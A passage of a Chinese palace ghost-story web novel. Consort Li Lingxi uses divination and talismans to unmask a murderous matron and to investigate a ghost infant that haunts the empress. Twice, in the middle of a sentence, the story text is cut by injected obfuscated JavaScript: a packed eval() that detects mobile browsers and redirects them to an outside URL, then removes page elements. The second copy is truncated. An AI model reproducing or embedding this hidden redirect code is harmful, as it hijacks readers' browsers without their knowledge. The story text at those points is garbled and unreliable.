人偶的双眼被红布蒙住,且身上扎了不少银针,头顶,双臂,双腿,双腿。共七根。在莹白月光的照耀下,银针闪着骇人的寒光。 众人心惊不已:“这、这是什么?为何这人偶的衣着与桃月姐姐如此相似?” “那红布与银针又是干什么的,难道……也是冯嬷嬷弄的?” 李令曦解释道:“这种人偶是用来行诅咒之事的,双眼蒙上红布,便目不能视,看不清前路。身体的七个主要部位被银针封住,便不能动弹,且魂魄也被锁在体内,不能前往地府超生。” “这正是冯嬷嬷杀害桃月之后,害怕她的冤魂索命,专门用民间邪术做的人偶。目的,就是为了封住其魂魄,不让桃月找她报仇,也不让桃月轮回超生。” “三天前,我路过古井所在的院子,察觉到里面气息不对,发现了这个人偶。我将上面银针拔下,红布解开,桃月的冤魂才得以出来。” 几个小宫女叽叽喳喳的,话语中有愤怒,有吃惊,也有崇拜: “死后还不让人超生,这心肠真是坏到根了,呸!” “桃月太可怜了,要不是曦妃娘娘,恐怕就会一直待在冰冷的古井下面……” “曦妃娘娘可真厉害,要不是她揭穿了冯嬷嬷的真面目,我们还一直被蒙在鼓里呢!” 齐嫔站在众人后面,将这桩所谓“恶鬼害人”的戏码看了个清清楚楚,她捏着手帕的指尖不自觉攥紧了。她没想到,这看似殷勤能干的掌事嬷嬷,竟是如此心肠狠毒之人,原来一直以来,她都被这个笑里藏刀,残虐不仁,恶贯满盈的狗奴才给蒙在鼓里! 齐嫔气得头脑发晕,都快要站不住了。她颤抖着伸出手,指向冯嬷嬷,一字一句地吩咐道:“来人,将这恶奴给我捆好了扔到柴房,明日一早,送往慎刑司听候发落!” 此时的罪魁祸首跪在桃月面前,不住地摇头乞求,嘴里发出“呜呜”的声音,但却没一个人理她。 一听到要处置冯嬷嬷,众人都迫不及待动起手来,不一会儿,就将她捆的结结实实,跟个密不透风的粽子似的。 李令曦补充道:“还有那个与她有奸情的年轻太监,也不是什么好东西,一并绑了去。” 齐嫔点头:“对,那家伙唯利是图,与这恶奴狼狈为奸,秽乱后宫,也难脱干系!” 见凶手落网,桃月终于露出了久违的笑。 她缓缓走向李令曦,“扑通”一声重重跪下。 “曦妃娘娘,感谢您的大恩大德,桃月来生定当结草衔环相报……” 说罢,她又连连叩了三个响头。 “不用客气,快起来吧。” 李令曦伸手扶起桃月:“如今你在人间的心愿已了,可以安心去了。” “谢谢……” 桃月起身,缓缓向后退去。灰白的身影在月光的照耀下越变越淡,直至消失不见。 李令曦边目送她远去,边捏起手诀念了个超度符咒,送她好好上路。 众人从柴房回来,见着这一幕,纷纷唏嘘不已。 “希望桃月下辈子能投胎到一个好人家。” “桃月姐姐,一路走好……” 齐嫔忽然想起另一件事,问道:“曦姐姐,你是怎么知道冯嬷嬷有那么多银子的?” 5. 第 5 章 李令曦莞尔一笑:“那老虔婆是个守财奴,平日里除了喜欢剥削克扣手下人的银钱之外,还经常趁你不注意,偷些不易察觉的东西,托人拿出宫去变卖。还有一些想借她的权势捞些好处的人,也会时不时给些孝敬,所以她的银子,还真不少呢。” 她又指了指床下:“床底下有一块活动的青砖,是冯嬷嬷专门用来藏钱的。” 齐嫔一挥手,便有下人去摸索,果真搜出个木盒子。数了数,好家伙,里边有银票、银锭和一些金银首饰,加起来约摸有一千多两银子! 而一个宫里的掌事嬷嬷,月例不过二两。 中饱私囊,收受贿赂,竟如此猖狂。 齐嫔叹了口气,拿出一部分钱,分发给永春宫的下人们,毕竟冯嬷嬷平日里没少克扣她们的薪俸。 接着,她又拿出二十两,嘱咐亲近手下,给桃月好好下葬。 然后又拿出一百两,递给李令曦:“曦姐姐,多谢你帮我们永春宫解决了这件事,一点酬金,不成敬意。” 李令曦摆手:“该收的我已经收了。”冯嬷嬷给的银票还在兜里揣着呢。 再说,这钱该谁出就得谁出。有因必有果,善恶也终有报。 第二天一大早,冯嬷嬷被押往慎刑司,打了一百大板。据说,没挺过去,当晚就咽了气。 与冯嬷嬷勾搭的那个小太监,起先死活不承认。李令曦拿出实质性证据——冯嬷嬷赠他的玉佩,以及他回赠的香囊,他又反咬一口,称自己是受害者,企图博同情。 最后被罚去辛者库,做最辛苦劳累的活计。 那里的人听说了他与一四五十岁的老嬷嬷对食的事,走哪都有人对他指指点点。没多久,他就因身体与心理的双重压力,跳井自尽了。 永春宫恢复了宁静。 齐嫔本就因性格相似而对李令曦有些好感,这下更是直接变身成小迷妹,逢人就说李令曦的厉害。 无形之中也让李令曦的名声传播的越来越广了。 一次茶话会的闲聊中,皇后沈青宛也从旁人口中听说了这事。 说者无意,听者有心。 沈青宛轻轻摩挲着拇指上的戒指,若有所思地沉吟着。 夜晚,皇后的寝宫——凤仪宫内的内室里还亮着灯火。 烛芯不时发出“噼啪”的细微声音,昏黄的烛火轻轻摇曳,映照着沈青宛睡着的脸。 她眉头紧蹙,嘴边偶尔溢出几句含糊不清的呓语,看样子,睡得并不安稳。 忽然,沈青宛的双手开始挥舞,头也剧烈地摇动着,秀美的眉拧成了结,额上不断渗出豆大的汗珠。 “你到底是谁?为何要找上我?!” 沈青宛猛然喊出声来,从床上惊坐而起,她大口大口喘着气,抬手擦去额上的汗滴,久久未能从梦境里抽离。 又是这个梦,梦里还是…… 外间服侍的宫女听见动静,披上衣服来到床前:“娘娘,可是又做了噩梦?” 沈青宛微微点头,有些口渴。 “檀玉,去给我倒杯茶来。” 檀玉应了声,起身去外间的炉子上拿茶壶。正欲倒水,窗外忽然迅速掠过一个黑影,转瞬即逝。 她不禁眨眨眼,以为天太黑了自己看花了眼。 不料,那黑影倏地又出现在了窗外,黑色的阴影紧紧贴着窗户。 看身形,分明是个婴儿! “哒哒……哒哒……” “嘿嘿……” 黑影的小手左右舞动着,嘴里发出独属于婴儿的奶声奶气的声音。 深夜的宫苑里,这本应治愈人心的声音,此刻听起来却格外渗人。 檀玉被吓得僵在原地,半点反应都做不了,她嘴巴不自觉地哆嗦着,喉头却似被哽住了,怎么也发不出声音。 没多久,那身影好像不满没有人回应他,停下了动作,骤然间,笑声消失了,寂静的暗夜里响起一阵凄厉的哭声:“哇哇——哇——” 哭声很大,檀玉被吓得一个激灵,手中的茶壶掉落在地。 “哐当——” 沈青宛原本靠在枕头上休憩,听见外间的动静,忍不住起来察看情况,刚掀起被子,那哭声就传入了沈青宛的耳朵。 她脚下一滞,不敢置信地缓缓抬头看向窗外那个小小的影子。 ——是那个孩子!和梦里的一模一样。 他,又来找她了! “啊——!” 沈青宛瞳孔紧缩,又惊又怕地跌坐在地,浑身直发抖。 他,到底是什么?又为什么缠着自己? 这时,檀玉也被茶壶砸碎的声音惊醒。 她连忙大声呼喊道:“来人啊,快来人啊,沉璧,梨珂,你们快醒醒!!!” 听到檀玉的呼叫,几个宫女陆陆续续醒了,赶忙拿着烛火过来了。见人多了起来,那黑影倏尔向后一弹,顷刻间消失不见了。 “檀玉,怎么了这是?” 沉璧见地上一片碎瓷和水渍,又见檀玉一脸惊恐,连忙问道。 檀玉虚弱地摆摆手:“你们不用管我,快去看看皇后娘娘怎么样了。” 几个宫女小跑进内室,就看见沈青宛双目紧闭,倒在床边。 “娘娘,您怎么了?” “娘娘,您快醒醒啊!” 梨珂伸手去探鼻息,松了口气:“娘娘应该是晕过去了。” 几人又叫醒了耳房住的太监和嬷嬷,去请太医过来。经太医诊治,沈青宛是惊吓过度导致的晕厥,再加上晚间休息不好,精神不济,便开了些对症的药。 沈青宛醒来后,将檀玉叫到身边,细细询问了昨晚的事情。 檀玉便将所见所闻全部告知。 沈青宛揉了揉太阳穴,声音里有着掩饰不住的疲倦与恐惧:“这两个月以来,我时常会梦见一个孩子。只是没想到,那孩子竟然真的出现在了眼前。” “他究竟是谁,为何会缠着我,都要搞清楚才是。不能再这么下去了,得想想办法……” 檀玉也担忧不已,神色凝重地点点头:“娘娘,可这事颇为诡异,咱们该找谁呢?” 沈青宛却并未回答,而是轻声道:“看天色是要下大雪了。” 檀玉:“是呢,奴婢刚才出去看,外边已经飘起了雪花。” “后花园的红梅也开的正好,踏雪寻梅,乃是冬日雅趣。檀玉,你帮我给各宫下个帖子,明日巳时,在后花园的湖心亭中,举办赏梅宴。” “是,娘娘。” 沈青宛顿了顿,又说道:“记得给曦妃也送一张帖子,请她务必赏光。” 曦妃?不是被打入冷宫的那位吗,娘娘为何…… 檀玉虽心有疑惑,然多年来伺候皇后养成的沉稳谨慎让她没有出声询问。 一个时辰后,冷宫。 “叩叩——”门外传来久违的敲门声。 李令曦正在院子里沐雪练功。 她将门打开后,见一个宫女正在雪地里候着。 檀玉恭敬地递上一张帖子,笑着道:“曦妃娘娘,奴婢檀玉,奉皇后之命,邀您参加明日的赏梅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980566|193563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴。” 赏梅宴,还挺稀奇。 李令曦接过帖子,微挑起眉:“确定是给我的?” “没错,皇后娘娘还特地交代奴婢,请您未必赏光。”檀玉的眼神很是真诚。 “行,我知道了。” 檀玉离开后,李令曦盯着这请帖琢磨了一会儿,最终决定兵来将挡,水来土掩。 “罢了,反正在这冷宫待着也没什么趣儿,去看看也当解闷了。” 漫天大雪,纷纷扬扬,大地一片银装素裹。 赏梅宴如约举行。 受邀前来参加的妃子不少,约有十七八位。因天气寒冷,众人出门时都穿上了保暖又华贵的大氅,手里揣着精致的暖炉。 李令曦去的时候,见到的就是一副众妃其乐融融,你说我笑的和谐场面。 有人赏雪,有人赏梅,有人寒暄。 只有沈青宛,静静地坐在亭中铺了毛皮毯子的凳子上,面对众妃的寒暄,她偶尔会挤出一丝微笑,看起来略有些不在状态。 沈青宛不时看向入口方向,见李令曦来了,眼神明显亮了一瞬。 一片银装素裹中,众妃嫔都打扮得雍容华贵,光鲜亮丽,唯有李令曦身披褪色的暗灰色斗篷,满头青丝无首饰点缀,只用一根桃木簪挽起。 看起来朴素无华,甚至有些寒酸。 不过她容貌极美,就算是素衣荆钗也难掩其出众气质,尤其在遍地积雪与身后红梅的映衬下,更显清冷出尘。 几个妃子装模作样地捂住嘴,说起了悄悄话,周围安静,声音清晰地传到了李令曦耳朵里。 “哟,这不是被打入冷宫那位吗,怎么也好意思来参加赏梅宴了?” “可不是嘛,瞧那一身的穷酸样,真晦气!” “穿的跟个穷鬼似的,不会是冷宫待久了,沾上鬼气了吧……” 闲言碎语尽收耳底。 李令曦仍是淡淡地立在那。她平静地扫视了一眼说话的那几人,目光中满是不以为意,就像在看一群自娱自乐的跳梁小丑。 皇后连忙站起身来迎接,笑语盈盈:“曦儿妹妹,你可算是来了,快来坐吧。” 她回头对众人说道:“今日踏雪寻梅,众位妹妹都是本宫邀请来的,请大家尽情闲赏便是,切莫伤了和气。檀玉,还不快给曦妃娘娘上茶和点心。” “是。” 面对沈青宛的热情友善,李令曦有些莫名其妙。 不过由于沈青宛的姿态,众人也都明白了,纷纷噤声。若再不收敛,岂不是驳了皇后的面子? 齐嫔走过来,将李令曦拉到自己身边:“曦姐姐坐这,这里有暖炉。” 李令曦刚坐下,就见不远处正得帝宠的愉妃在宫女的搀扶下款款走来。 她见皇后和齐嫔都对李令曦客气亲昵,不禁嗤笑一声:“我还当是谁呢,这不是最近改行的李家妹妹嘛。名门闺秀倒成了神婆,可真是奇闻,大家说说是不是啊,哈哈哈哈……” 愉妃拿出手巾,掩住口鼻,发出的讥笑声十分尖锐夸张,枝上的积雪都被震落了不少。 齐嫔听得直皱眉,正欲起身反驳,被身旁的一只手轻轻拉住了。 原来是李令曦,她漫不经心地掸去桌上一朵落梅,淡淡开口:“闺秀也好,神婆也罢,不过是个人爱好,愉妃姐姐——” 她顿了顿,眸光直直看向对方高昂不屑的脸:“您私底下,不是也挺爱钻研医术吗?那本失传的《千金要方》,怕是快被姐姐翻烂了吧。只是不知,姐姐如此辛勤钻研,为的到底是什么?” 6. 第 6 章 愉妃顿时神色微变,愠怒道:“李令曦,你好大的胆子!一介废妃,竟敢编排本妃,简直岂有此理!” 李令曦勾起一抹笑:“我说的是实话啊,难道姐姐这是心虚了?常言道‘不做亏心事,不怕鬼敲门’,姐姐勤勉于医学,若是治病救人当然好,可若用来害人,可就……” 愉妃气急败坏:“你——!” 一旁的姝嫔赶忙帮腔:“愉妃姐姐别气,不过是一个登不上台面的废妃,何必与她置气。” 她斜了眼李令曦,不屑地道:“术士之说这种下九流的玩意儿,也拿到宫里来显摆,‘前曦妃’娘娘,你也太没廉耻了。” 刚刚平息的众人,又开始小声议论起来,大多数是附和愉妃和姝嫔的话。 李令曦懒得废话,起身去雪地上拾了一枝梅花:“既如此,那我就为免费愉妃姐姐算上一卦吧。”她将几朵梅花瓣摘下,随手洒在桌面,就地起了一卦。 众人都不解,疑惑不已。 愉妃竖眉怒道:“你到底想耍什么花招!” 李令曦开始解卦:“此卦为鼎,意味着权利、地位和稳定。愉妃姐姐为了今天的荣宠地位,可谓是付出了不少呢。” 齐嫔不解:“此话是何意?” 李令曦微微一笑:“半年前,送给刘美人的簪子里,被掺了极细的麝香粉。去年花朝节,御兽园的疯犬扑咬崔昭仪,应该是吃了什么药物所致……” 愉妃越听,脸色越发扭曲。该死,这些事她都做的极隐秘,李令曦到底是如何得知的!? 她眼神变得阴郁,径直上前,狠狠将梅花扫落在地:“李令曦,你够了!少在这血口喷人,收起你的歪门邪道!就凭你一个废物,空口白牙想诬陷我,简直可笑之极!” 愉妃咬牙切齿,气得胸膛不停起伏,脸色铁青。 李令曦只是冷静地笑了笑,不欲与之争辩。 众人静静观战,隐约觉得愉妃的表现像是……恼羞成怒了…… 怎么回事?难道真被说中了? 李令曦让桌旁的几人稍微后退,低头观察被扫落的花瓣。 还真是巧,这不又是现成的一卦嘛。 “坎卦,意为危险、逆境和挑战。” 她将空无一物的梅花枝捡起,递给愉妃:“在今日未时之前,愉妃姐姐记得将头上的鸾凤金钗摘掉,换上这梅枝,否则会有性命——” 话音未落,梅枝便被打落。 愉妃上前一步,将梅枝踩在脚下,狠狠碾了几下,语气中满是不屑:“少在这糊弄我,这种腌臜下贱的东西,配你这样的穷酸最合适了。我就不信,你一个打入冷宫的废物,还真有如此神通。收起你那套把戏,留着骗鬼去吧!” 说罢,愉妃便甩甩袖子,昂起头扬长而去,“皇后娘娘,本宫不愿沾染晦气,先行告辞了!” 李令曦轻轻地摇了摇头:“真是好言难劝该死的鬼。” 愉妃走后,余下的十几人便也都散开了,三三两两结伴,或赏梅,或聊天,或玩雪,不亦乐乎。 旁人或许不信,但齐嫔是亲眼见识过的,因此对李令曦的本事深信不疑。 “曦姐姐,原来刘美人的死和崔昭仪受伤,竟都是愉妃干的,真看不出来啊!” 李令曦点头:“医学本是救死扶伤,若借此行伤天害理之事,定会遭报应。” 眼见天色快到午时,齐嫔禁不住猜测道:“也不知到时,愉妃会怎样。她不会因卦象灵验,又来找曦姐姐你求助吧?" 一想到趾高气昂的愉妃低头的样子,齐嫔就忍不住浮现出笑容:“就该锉锉她的锐气,仗着自己得宠,整天不拿正眼看人。” 两人正说话间,李令曦察觉到身后有人靠近。 她停下脚步,回头望——原来是沈青宛和檀玉。 见李令曦回头,沈青宛顿住脚步,客气地笑了笑。 李令曦盯着沈青宛的脸看,她今日的妆容很精致,但也掩盖不了她脸色的疲惫,不仅如此,她面上还隐隐浮现出青黑之气。 看样子,被缠上已有段日子了。 见李令曦眼也不眨地看着自己,沈青宛有些不自在地摸摸脸:“曦妹妹为何一直看我,我脸上是有什么吗?” 李令曦点头。 沈青宛下意识想去擦,有些不好意思:“是什么?” “脏东西。” 沈青宛脸色忽变。 果然。 她不动声色地调整了下表情,以免周围其他人看出端倪,但眼底一闪而逝的情绪和微微起伏的胸膛,泄露了她心里的惊骇。 沈青宛抬眼,继续问:“那东西,可是个婴孩?” 李令曦点头:“不错,是个还未完全成形的婴儿,约摸五个多月。” 沈青宛心口忽痛,身子一晃,几乎要晕厥过去。 “娘娘!”檀玉压低声音,眼疾手快地上前扶好她。 “我无事……”沈青宛有气无力的摆摆手。 五个多月,那不就是自己那可怜的孩子吗?他频频找上自己,难道是有什么心愿未了,亦或是要告诉自己什么事? 沈青宛褪下自己手上的红宝石戒指,放入李令曦手中:“曦妹妹,我知道你的规矩,这戒指就当是我给的报酬,请你一定要帮我查明这件事。” 李令曦拿起戒指看了看,红宝石周围还镶嵌着金丝,少说也值二百两银子。 这个活儿,她接下了。 “皇后娘娘放心,此事包在我身上。” 一瓣雪花飘落在李令曦毫无装饰的黑发上,很快融化了。 “皇后娘娘,雪又下起来了,不如我们去您的寝宫看看。” 沈青宛也正有此意,于是便散了赏梅会,回了凤仪宫,途中,沈青宛将近日来自己身上发生的诡异之事和盘托出。 到了门外,李令曦停下脚步。她感受到了一股浓厚的怨气,围绕在沈青宛的寝宫外。 “曦妃娘娘,昨夜奴婢就是在那扇窗子外,见到影子的。”檀玉指了指地方,语气仍有些害怕,“当时那个影子又笑又哭,可吓人了……” 李令曦检查了窗子,并无异样。 待走进屋内,打量一番之后,李令曦目光停留在了一个送子观音的陶瓷像上。观音像放在桌案上,正对着沈青宛的床。 明明是满面慈悲的观音面容,却隐隐漏出丝丝邪气。 李令曦皱起了眉,走过去欲仔细查看。 这时,不远处的沉璧脸色变得有些不自然,垂在衣袖下的手也渐渐捏紧了。 沈青宛见李令曦停留在送子观音前,便问道:“怎么了?可是这尊菩萨有什么问题?” 李令曦点头,“的确有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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萧旭得知沈青宛有喜,乐得哈哈大笑,当即给于凤仪宫许多赏赐,整个凤仪宫上下都充满了喜悦的氛围。 没过几日,萧旭又来寝宫探望沈青宛。他大手一挥,随身的内侍便恭敬地上前,奉上一个长方形锦盒。 打开一开,里面是尊小巧的送子观音菩萨像。 萧旭拉着沈青宛的手:“宛儿,听说你自怀孕以来,身体偶感不适。朕很是担心,因此特意去城外的宝林寺向大师请教,为你请了这尊菩萨。” 他示意内侍将菩萨放置在桌案上,又继续道:“此物经大师开光,极有灵气,放在你日日见得着的地方,对你和孩儿都有好处。大师交代了,不可惊扰菩萨,千万不要挪动位置,如此才有效用。” 沈青宛笑着点点头,感动地应道:“臣妾多谢皇上的用心,我一定会好好侍奉菩萨,也定会养好身子,诞下龙儿。” …… 当日的温情画面还历历在目,可沈青宛此时的内心却翻腾不已。 震惊、愤怒、悔恨……自己竟被那假装深情的枕边人蒙在鼓里如此之久,还因此葬送了孩儿的性命。 沈青宛的眼神逐渐变得狠厉起来。 “萧旭,我到底什么地方对不住你,你竟要害我至此!” 檀玉见此事非同小可,氛围又极其凝重,默默地在一旁,揪心地看着。 忽然,她扫视了一眼屋内,讶然出声:“咦?沉璧这丫头去哪儿了,方才明明还在这里的。” 沈青宛抬起头,一抹寒光闪过眼眸。 沉璧。 自萧旭将菩萨放置好之后,日日负责清扫瓷像的人,可不就是她嘛? 7. 第 7 章 看来,这凤仪宫内,除了脏东西,也有不干净的人呐。 沈青宛指挥檀玉将地上的碎瓷清理掉:“那丫头应该是见事情败露,跑了。不过既已知道沉璧与此事有关,后面的事就好办了。” 李令曦将符纸递过去,问道:“皇后娘娘,这张符纸您可要收着?” 毕竟这是直接证据,要算账的话也有说法。 不料沈青宛却是摆摆手:“曦妹妹,东西我就不要了,你若是方便就先帮我收着吧。” 并非她不想要个说法,只是后宫之事本就暗流涌动,各方势力牵扯。尤其此事涉及皇帝,就算她知道了真相,碍于形势,也不能在明面上做些什么。 不过,这“鬼婴”之事只是揭开了一角,事情的真相还并未完全显露。 李令曦继续道:“皇后娘娘,这菩萨像内的符咒设计的很是阴毒,它会逐渐损害孕妇腹内胎儿的生气,致其减弱,然后一待有外界的刺激,便会轻而易举地使胎儿滑落。所以,除了符纸之外,导致您流产的还另有他因。” “另有他因?” “出事那天的事情,你可还记得?” 沈青宛蹙眉,回忆起流产当日的情形。 “那天,我在御花园里散心,檀玉、沉璧还有陈嬷嬷跟着……” 几人走在青石板铺成的小径中,檀玉一直在沈青宛身后小心扶着,忽然,沉璧叫出了声:“草丛里有动静,好像是蛇……” 檀玉非常警觉,怕沈青宛被蛇咬,就赶紧加快脚步,一步不离地扶着沈青宛,往旁边的凉亭走去。 沉璧和陈嬷嬷都忙活起来,四处寻找蛇的踪迹。陈嬷嬷连忙从袖中拿出一袋粉状物,洒向草丛。 “娘娘放心,奴婢就怕会遇见蛇虫,所以一直随身携带的驱蛇药粉。只要往草丛里一洒,保准它们不敢近身。” 等了一会,见周围确实没动静了,檀玉才扶着沈青宛重新回到青石板路上。 可刚一走到那里,沉璧忽然脚下一歪。她吃痛地蹲下身子,顺道一把拉住了檀玉的袖子。檀玉下意识地回身,此时陈嬷嬷还站在草丛里,离她们几人有几步距离。 就在这当口,沈青宛突然惊叫一声,脚下打滑,就这么直直地摔在了石板路上。 很快,她身下就洇出了鲜血。 “我的孩子,快、快去叫太医!” 檀玉连忙一个箭步来到沈青宛身边,一边回头冲二人喊道:“沉璧快去叫太医!陈嬷嬷,速去叫人把备好的担架拿来,把娘娘抬回宫里去!” 随行的几人连忙将沈青宛小心翼翼地抬上了担架,檀玉在一旁有条不紊地指挥着。 “稳住,不要晃动!” 在回宫的路上,檀玉一直不错眼地跟在一旁,防止抬担架的人颠着沈青宛。 没多久,太医火急火燎地来了,诊脉施针之后,太医满脸惶恐地跪地请罪。 “皇后娘娘,情况十分凶险,胎儿眼看快要保不住了……” 沈青宛脸色苍白,眯着眼,虚弱地祈求:“沈太医,无论如何,一定要把本宫的孩儿护住……” 檀玉紧紧抿着嘴,额头上渗出了许多汗珠。 “娘娘,您可千万要挺住啊!” 沈太医打开医箱,拿出一套银针,迅速往沈青宛身上的穴位扎。 “娘娘,微臣定当竭力而为!” 时间缓缓流逝,然而情况却没有丝毫好转的迹象。 沈太医拿起衣袖擦了擦额上的汗,心底焦虑不安。这可不行啊,再这么下去,不仅胎儿保不住,就连皇后娘娘的性命恐怕也…… 就在这时,殿外传来声响。 “快让让!” 很快,急促的脚步声来到内室。来人是前段时间刚提出乞骸骨的刘太医。在他身后的,是一脸焦急的萧旭。 萧旭冲到床前,担忧地问道:“宛儿你怎么样了?你别怕,我把太医院最德高望重的刘太医请过来了,他医术高明,你和孩儿一定都会没事的!” 说完,他急促回身催道:“刘太医,你快来给皇后诊治!” 见自己的师父来了,沈太医舒了一口气,赶紧收拾东西让位。 “此处需静,除服侍的嬷嬷和丫鬟外,其他人请都在外间侯着。” 众人退去后,刘太医开始救治。 整个凤仪宫内,阒然无声。 约一炷香的功夫后,帘内传来一声女子的痛苦呻吟。随后,刘太医走了出来,满脸遗憾之色。 “刘太医,宛儿和孩子怎么样了?” 刘太医“扑通”一声跪在萧旭面前,叩首不起。 “皇上恕罪,老臣已用尽毕生所学,但还是没能保下龙胎……” 萧旭语气中满是痛心:“怎么会这样,朕的孩儿……”他衣袖一振,愤怒地责问道:“你们都是怎么办事的,啊?!连看个人都看不好,都是吃白饭的吗!?” “来人!把这些不尽职的狗奴才都给我拉出去砍了,给朕的龙儿陪葬!” 嬷嬷和宫女们急忙跪下求饶。 萧旭又将怒火转向刘太医:“还有你,身为太医院的医首,连皇后的胎儿都保不住,要你有何用?” “皇上息怒,是老臣无能。” 萧旭发怒的声音太大,吵醒了内建昏睡的沈青宛。 “皇上……” 得知流产的噩耗,她痛晕了过去。 萧旭听见后,连忙走到床前,见沈青宛脸色苍白得毫无血色,心疼不已。 “宛儿,你别难过,有我陪着你呢。孩子,我们还会再有的……” 沈青宛强撑着疲惫的身躯,劝说道:“皇上,都怪臣妾不小心,没能保护好孩子……不怨他们,你……不要责罚他们……就当、就当是给未出世的孩子积德了……” 勉强说出这几句话,沈青宛头缓缓合眼,又陷入了昏睡。 “好、好,宛儿,我答应你,你一定要好好的!” 萧旭吩咐下去,把最好的补品都送到凤仪宫,同时严令下人仔细服侍皇后,务必将身体养好。 自流产之后,沈青宛的情绪就一直有些低落,好像对什么都提不起兴趣,也不爱说话。 听了沈青宛的诉说,李令曦发现——这样子有点像现代的产后抑郁症。 见李令曦若有所思,沈青宛又迫不及待地问:“不知方才妹妹说的他因,究竟是何?” 李令曦掐指一算,回道:“送子观音是皇帝所请,里面的符咒则是沉璧放进去的。当日摔跤,除了沉璧假装跌倒致檀玉分神之外,陈嬷嬷也做了手脚。趁你们不注意,她借撒药粉的时机偷偷往石板路上倒了桂花油,所以才致人摔倒。” 沈青宛顿时怒火中烧,没想到自己身边的叛徒竟不止一个! “摔倒出血之后,则还有最后的一道手段,能确保让娘娘腹中胎儿不能存活。” “最后的手段?”沈青宛愕然,“难道就连 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当时流产之后没过多久,陈嬷嬷就因冲撞了贵人,被罚去看守皇陵,而那贵人,就是正得圣宠的愉妃。而刘太医本就该致仕,第二天就收拾东西回老家去了。 与流产一事有关的几人全都现了形。如今看来,其实一切都有迹可循。 不一会儿,打探的人传来了消息。 “沉璧死了?!”沈青宛惊讶地从椅子上站起来,“这才多会儿的功夫,人就死了,怎么会?” “回娘娘,据说是跑的太急,失足跌落池塘淹死了,人已打捞上来,没气了。” 李令曦勾起唇角,这未免也太凑巧了。看来是有人故意消灭证据呢。 估计陈嬷嬷和刘太医那里,也会碰壁。 李令曦坐得有些无聊,起来伸了个懒腰。 沈青宛给檀玉使了个眼色。 “檀玉,去给曦妃娘娘捶捶背,揉揉肩膀。” “是。” 她笑着走到李令曦身后:“娘娘,奴婢经常给皇后娘娘按摩推拿,可有经验了。” “行吧。” 李令曦坐下,安心地享受起来。 无功不受禄。她琢磨着,皇后估计还有事要找她呢。 沈青宛犹豫片刻,终还是开口了:“曦妹妹,多亏有你相助,我才能得知真相。眼下还有一事,请妹妹帮忙。今天晚上,我怕那孩子还会再来,可否请你帮我问清楚,他到底有何求?” “没问题。” 李令曦拿起桌旁准备的上好点心,边吃边点点头。 两个时辰后,打探消息的人回来了——陈嬷嬷在皇陵待了没几天,就因得了风寒,未及时医治而死。刘太医回乡的途中,遇见马匪,慌乱中被匪徒一箭射死。 若说之前,沈青宛还怀疑过愉妃和其他妃嫔,但这消息一来,她就彻底死了心,无论牵扯到的人有多少,这背后的推手必是萧旭无疑。 若非他所为,又有谁能有这么大的本事,手眼通天呢? 回忆起萧旭深情的眼神,心疼的神情,唏嘘的话语,沈青宛一阵恶寒。 一国之君,如此表里不一,蛇蝎心肠,为达目的不择手段。 还真是……恶心呐。 8. 第 8 章 李令曦静静观察着沈青宛,发现她的眼神里,似乎多了一些东西。 …… 吃饱喝足,夜幕也悄然降临。 下了一日的大雪已停,地面上堆了厚厚一层白色,如银白毯般松软。 酉时过半,天已彻底黑了。 凤仪宫内,除了炭火偶尔发出的“噼啪”声和窗外的细微风声外,一切都静悄悄的。 沈青宛和檀玉、梨珂按照李令曦的吩咐,都乖乖地躺在被窝里。几人的眼睛或睁或闭,但都十分清醒。 李令曦坐在厅内,闭目凝神。 夜色中,一股比冰雪还要冷上几分的阴风迅疾而来。 来了! “咯咯……嘻嘻……” 门外依稀传来婴儿天真的笑声。下一瞬,一个小小的黑影袭来,紧紧贴在窗户上。因雪色在月光的照耀下反光,所以看得清晰—— 那是一张青紫色的小脸,脸皮惨败肿胀,一双没有眼白的黑眼珠诡异地盯着屋内,嘴角微张,没有牙齿的牙床里往外渗着血丝。 梨珂因禁不住好奇,掀开被子,正好对上这张脸。 “我的娘啊!”她吓得浑身一哆嗦,忙不迭钻进被子,紧紧蒙住脑袋。 “啊——!” 那鬼婴还未有所动作,忽而像是被灼伤一般,呼叫出声,然后被一道刺眼的金光狠狠地弹射飞出去。 “咚”的一声,雪地上顿时现出了一个坑。 眨眼间,鬼婴就消失不见了。 李令曦站起身,眼里毫无波澜。早在一个时辰前,她就用朱砂混合灵气画了四张符,分别贴在四个方位,为的就是防止这东西进来。 看来,鬼婴是被符阵伤到了。 她打开门,一股寒风夹杂着血腥气扑面而来。 沉璧顾不上害怕,惊呼道:“曦妃娘娘,您怎么把门打开了,那、那孩子要是进来了怎么办?” “放心,他已受伤逃走。今夜不会再来。况且有我在,不会有事。” 听李令曦这么说,几人才稍微放下心来。 檀玉和梨珂壮着胆子来到李令曦身后,探头张望。 宫殿外出现了诡异的一幕——雪白的地上,浮现出一双极小的血色脚印,正一步步向着宫外的方向而去。 可是,雪地上方,却什么也看不见。 梨珂捂住嘴,又惊又俱:“这、这是……” 平常人自然看不见这些,可李令曦却看得分明——那血脚印正是鬼婴逃走时留下的。 他小小的身躯像只猫儿一般,青紫的身躯裸露着雪野里,似被一股无形之力拖拽着前行。月光照耀下,一条绑缚在鬼婴脖颈处的灰色铁链隐约现身。 李令曦眸光一闪,那是…… 原来这鬼婴,竟是受人控制的! 她快速飞下台阶,同时右手衣袖利落地向前一甩,一道极细的紫色光延伸出去,正落在远处的鬼婴身上。 鬼婴被雷光击中,发出凄厉的啸叫,小小得身影猛然转过身来,自厚厚的银白毯中破雪而出,径直冲向李令曦。它以迅疾的速度腾空而上,狰狞的面孔忽而出现在她面前。 身后的几人惊叫连连,吓得忙不迭后退。 唯有李令曦面色不改,灵活地一闪身,接着又从袖中飞出三张符纸,分别贴在鬼婴的头、腹、脚三处。 这下,便将其紧紧缚住,再动不了半分。 “皇后,借金簪一用!” 